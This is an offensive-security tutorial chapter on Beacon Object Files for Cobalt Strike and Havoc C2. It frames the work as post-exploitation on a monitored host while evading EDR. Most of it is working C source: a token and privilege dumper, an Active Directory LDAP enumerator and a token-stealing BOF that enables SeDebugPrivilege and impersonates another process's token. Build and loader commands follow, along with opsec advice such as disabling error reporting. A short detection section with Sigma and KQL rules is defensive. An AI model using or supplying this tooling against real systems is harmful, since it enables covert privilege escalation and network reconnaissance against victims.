Beacon Object Files (BOFs)
BOFs are COFF object files loaded and executed in-process by the beacon without spawning a new process or touching disk. This chapter covers the full BOF model: COFF loading, the beacon internal API (BeaconPrintf, BeaconDataParse, WINAPI macro), writing a whoami BOF, an LDAP query BOF, a token-stealing BOF, and how BOFs behave differently from execute-assembly in EDR telemetry.
You're running a Cobalt Strike or Havoc C2 session on a heavily monitored host. Every time you use execute-assembly, a new CLR is spun up in a sacrificial process — Sysmon Event 8 fires, the CLR DLL load is logged, and the sacrificial process spawns and dies within seconds, which looks obviously suspicious. You want to run post-exploitation tasks (enumerate AD, check token privileges, read local SAM) without spawning any child processes. BOFs run entirely inside your beacon process, as if they were functions in the beacon's own code — zero new processes, zero new DLL loads, sub-second execution.
BOF Execution Model
Beacon Internal API (beacon.h)
// beacon.h — provided by TrustedSec / Cobalt Strike SDK
// BOFs use these macros to call Windows APIs and output results back to the operator.
// WINAPI: looks up the function from the DLL specified — dynamic resolution, no imports.
// BeaconPrintf: formats and sends a string back to the C2 operator.
// Required includes for all BOFs:
#include "windows.h"
#include "beacon.h"
// API declaration macros (from beacon.h):
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeNameW(LPCWSTR, PLUID, LPWSTR, LPDWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId();
// BeaconPrintf: send formatted output to operator console
// BeaconOutput: send raw bytes
// BeaconDataParse: parse structured argument buffer from C2
// Argument parsing macros (structured args sent from aggressor script):
typedef struct {
char* original;
char* buffer;
int length;
int size;
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap* parser);
DECLSPEC_IMPORT short BeaconDataShort(datap* parser);
DECLSPEC_IMPORT int BeaconDataLength(datap* parser);
DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size);
DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len);
// Output types:
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OOB 0x1
#define CALLBACK_ERROR 0xD
whoami BOF — Tokens and Privileges
// BOF: dump current process token info — username, integrity level, privileges
// Compile: x86_64-w64-mingw32-gcc -o whoami.o -c whoami.c
// Load in CS: beacon> inline-execute whoami.o
#include "windows.h"
#include "beacon.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE,DWORD,PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE,TOKEN_INFORMATION_CLASS,LPVOID,DWORD,PDWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupAccountSidW(LPCWSTR,PSID,LPWSTR,LPDWORD,LPWSTR,LPDWORD,PSID_NAME_USE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeNameW(LPCWSTR,PLUID,LPWSTR,LPDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
void go(char* args, int argsLen) {
HANDLE hToken;
if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(),
TOKEN_QUERY, &hToken)) {
BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcessToken failed: %d\n",
KERNEL32$GetLastError());
return;
}
// Get username via TokenUser
BYTE buf[512]; DWORD needed;
ADVAPI32$GetTokenInformation(hToken, TokenUser, buf, sizeof(buf), &needed);
TOKEN_USER* tu = (TOKEN_USER*)buf;
wchar_t name[128], domain[128]; DWORD nLen=128, dLen=128;
SID_NAME_USE use;
ADVAPI32$LookupAccountSidW(NULL, tu->User.Sid, name, &nLen, domain, &dLen, &use);
BeaconPrintf(CALLBACK_OUTPUT, "[*] User: %S\\%S\n", domain, name);
// Integrity level
ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, buf, sizeof(buf), &needed);
TOKEN_MANDATORY_LABEL* tml = (TOKEN_MANDATORY_LABEL*)buf;
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
*GetSidSubAuthorityCount(tml->Label.Sid)-1);
const char* level = rid >= 0x4000 ? "System"
: rid >= 0x3000 ? "High"
: rid >= 0x2000 ? "Medium" : "Low";
BeaconPrintf(CALLBACK_OUTPUT, "[*] Integrity: %s (RID: 0x%X)\n", level, rid);
// Enumerate privileges
ADVAPI32$GetTokenInformation(hToken, TokenPrivileges, buf, sizeof(buf), &needed);
TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)buf;
BeaconPrintf(CALLBACK_OUTPUT, "[*] Privileges (%d):\n", tp->PrivilegeCount);
for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
wchar_t privName[64]; DWORD pLen = 64;
ADVAPI32$LookupPrivilegeNameW(NULL, &tp->Privileges[i].Luid, privName, &pLen);
BOOL enabled = (tp->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) != 0;
BeaconPrintf(CALLBACK_OUTPUT, " %-40S [%s]\n",
privName, enabled ? "Enabled" : "Disabled");
}
KERNEL32$CloseHandle(hToken);
}
LDAP Query BOF
// BOF: query Active Directory via LDAP from within the beacon process
// No SharpHound executable, no Rubeus, no new process — pure in-process COM LDAP
#include "windows.h"
#include "winldap.h"
#include "beacon.h"
DECLSPEC_IMPORT LDAP* WLDAP32$ldap_init(PSTR host, ULONG port);
DECLSPEC_IMPORT ULONG WLDAP32$ldap_simple_bind_s(LDAP* ld, PSTR dn, PSTR password);
DECLSPEC_IMPORT ULONG WLDAP32$ldap_search_s(LDAP* ld, PSTR base, ULONG scope,
PSTR filter, PCHAR* attrs, ULONG attrsonly, LDAPMessage** res);
DECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_first_entry(LDAP* ld, LDAPMessage* chain);
DECLSPEC_IMPORT LDAPMessage* WLDAP32$ldap_next_entry(LDAP* ld, LDAPMessage* entry);
DECLSPEC_IMPORT PCHAR* WLDAP32$ldap_get_values(LDAP* ld, LDAPMessage* entry, PSTR attr);
DECLSPEC_IMPORT ULONG WLDAP32$ldap_msgfree(LDAPMessage* res);
DECLSPEC_IMPORT ULONG WLDAP32$ldap_unbind(LDAP* ld);
void go(char* args, int argsLen) {
datap parser;
BeaconDataParse(&parser, args, argsLen);
char* dc = BeaconDataExtract(&parser, NULL); // e.g. "dc01.corp.local"
char* baseDN = BeaconDataExtract(&parser, NULL); // e.g. "DC=corp,DC=local"
char* filter = BeaconDataExtract(&parser, NULL); // e.g. "(adminCount=1)"
LDAP* ld = WLDAP32$ldap_init(dc, LDAP_PORT);
if (!ld) { BeaconPrintf(CALLBACK_ERROR, "[-] ldap_init failed\n"); return; }
// Bind using current process token (Kerberos/NTLM via SSPI)
WLDAP32$ldap_simple_bind_s(ld, NULL, NULL);
char* attrs[] = { "sAMAccountName", "memberOf", "userAccountControl", NULL };
LDAPMessage* result = NULL;
ULONG err = WLDAP32$ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
filter, attrs, 0, &result);
if (err != LDAP_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "[-] LDAP search error: %u\n", err);
WLDAP32$ldap_unbind(ld);
return;
}
LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, result);
while (entry) {
PCHAR* vals = WLDAP32$ldap_get_values(ld, entry, "sAMAccountName");
if (vals && vals[0])
BeaconPrintf(CALLBACK_OUTPUT, " [+] %s\n", vals[0]);
entry = WLDAP32$ldap_next_entry(ld, entry);
}
WLDAP32$ldap_msgfree(result);
WLDAP32$ldap_unbind(ld);
}
Token Steal BOF
// BOF: steal token from a specified PID and impersonate it in the beacon thread
// Operator calls: inline-execute token_steal.o [PID]
// After execution: beacon runs subsequent commands as the stolen user
#include "windows.h"
#include "beacon.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD,BOOL,DWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE,DWORD,PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,
SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE,BOOL,PTOKEN_PRIVILEGES,
DWORD,PTOKEN_PRIVILEGES,PDWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR,LPCWSTR,PLUID);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
void go(char* args, int argsLen) {
datap parser;
BeaconDataParse(&parser, args, argsLen);
DWORD targetPid = (DWORD)BeaconDataInt(&parser);
// Enable SeDebugPrivilege first
HANDLE hSelf; ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hSelf);
TOKEN_PRIVILEGES tp = { .PrivilegeCount = 1,
.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED };
ADVAPI32$LookupPrivilegeValueW(NULL, L"SeDebugPrivilege",
&tp.Privileges[0].Luid);
ADVAPI32$AdjustTokenPrivileges(hSelf, FALSE, &tp, sizeof(tp), NULL, NULL);
KERNEL32$CloseHandle(hSelf);
HANDLE hProc = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
if (!hProc) {
BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess(%d) failed: %d\n",
targetPid, KERNEL32$GetLastError());
return;
}
HANDLE hToken, hDup;
ADVAPI32$OpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken);
ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenImpersonation, &hDup);
ADVAPI32$ImpersonateLoggedOnUser(hDup);
BeaconPrintf(CALLBACK_OUTPUT,
"[+] Impersonating token from PID %d — subsequent commands use stolen token\n",
targetPid);
KERNEL32$CloseHandle(hToken);
KERNEL32$CloseHandle(hDup);
KERNEL32$CloseHandle(hProc);
}
BOF Build and Integration
# Build a BOF with MinGW (cross-compiler on Linux):
x86_64-w64-mingw32-gcc -o whoami.o -c whoami.c \
-masm=intel \
-Wall \
-I/opt/BOF-headers/ # directory containing beacon.h
# Verify COFF format (should be pe-x86-64 COFF):
file whoami.o
# x86_64-w64-mingw32-gcc output is COFF — correct format for BOF loading
# Load in Cobalt Strike (aggressor script):
alias whoami-bof {
$bof = bof_pack("", ""); # no args for this BOF
beacon_inline_execute($1, script_resource("whoami.o"), "go", $bof);
}
# Load in Havoc C2 (Python aggressor equivalent):
# havoc> dotnet inline-execute whoami.o
# Verify relocations are handled properly:
objdump -r whoami.o # shows relocation table — must be processed by COFF loader
# BOF framework compatibility:
# TrustedSec COFFLoader: open-source COFF loader for custom beacons
# Meterpreter: bof.load extension
# Sliver: execute-bof command
# BruteRatel: native BOF support via brC4
# Havoc C2: dotnet inline-execute (wraps COFF loader)
Detection Engineering
-- BOF detection challenges:
-- No new process (no 4688, no Sysmon 1)
-- No new DLL load (no Sysmon 7 — unless BOF explicitly calls LoadLibrary)
-- No disk artifact (BOF bytes live only in beacon's VirtualAlloc'd memory)
-- What IS detectable:
-- 1. VirtualAlloc(PAGE_EXECUTE_READWRITE) in beacon process at runtime
-- Followed by execution from that region → same signal as shellcode injection
-- Sysmon 10 (ProcessAccess) if BOF opens other processes
-- 2. API calls from the beacon process that are unusual for the host binary
-- BOF that calls wldap32 functions from notepad.exe → anomalous
-- 3. BOF crashes: if a BOF crashes, it takes the entire beacon with it
-- The beacon process terminates unexpectedly → generates a Watson report
-- Crash analysis: minidump in C:\Windows\Temp or C:\ProgramData — forensically valuable
title: Executable Memory Allocated and Executed in Suspicious Process
logsource:
product: windows
category: process_tampering
detection:
selection:
EventID: 25
Type: 'Image is loaded' # new executable region in process
filter_legit:
Image|endswith:
- '\msbuild.exe'
- '\powershell.exe'
- '\dotnet.exe'
condition: selection AND NOT filter_legit
level: medium
-- MDE KQL: anomalous API usage from known-innocent host process
DeviceEvents
| where InitiatingProcessFileName =~ "notepad.exe"
| where ActionType in~ ("LdapSearch", "OpenProcessApiCall",
"CreateRemoteThreadApiCall")
| project Timestamp, DeviceName, ActionType,
InitiatingProcessCommandLine, AdditionalFields
Q&A
What happens to the beacon if a BOF crashes, and how does this affect operational security?
A BOF executes in the same thread context as the beacon's main execution loop — it is not sandboxed or isolated. If a BOF throws an access violation, stack overflow, or division by zero, that exception propagates to the beacon process itself. Unless the COFF loader wraps BOF execution in a structured exception handler (SEH) — which TrustedSec's COFFLoader and Cobalt Strike's built-in loader both do — the unhandled exception terminates the entire beacon process. The operational security implications are significant. First, the beacon session is lost and requires re-delivery. Second, Windows Error Reporting (WER) may capture a crash dump: a minidump of the beacon process containing memory pages with decrypted shellcode, config data, active C2 channels, and potentially the BOF bytes that caused the crash. These minidumps are written to %LOCALAPPDATA%\CrashDumps\ or reported to the WER service and potentially uploaded to Microsoft telemetry. Crash dumps are one of the most forensically rich artifacts in an incident investigation — a beacon crash dump can reconstruct the entire implant's internal state. Mitigation: (1) test BOFs extensively in a lab before operational deployment; (2) verify the COFF loader wraps execution in SEH; (3) disable WER reporting via Group Policy if you have admin access (though this itself is a detection signal); (4) prefer BOFs that perform simple, well-understood API calls over complex multi-step operations that could fault on edge-case inputs.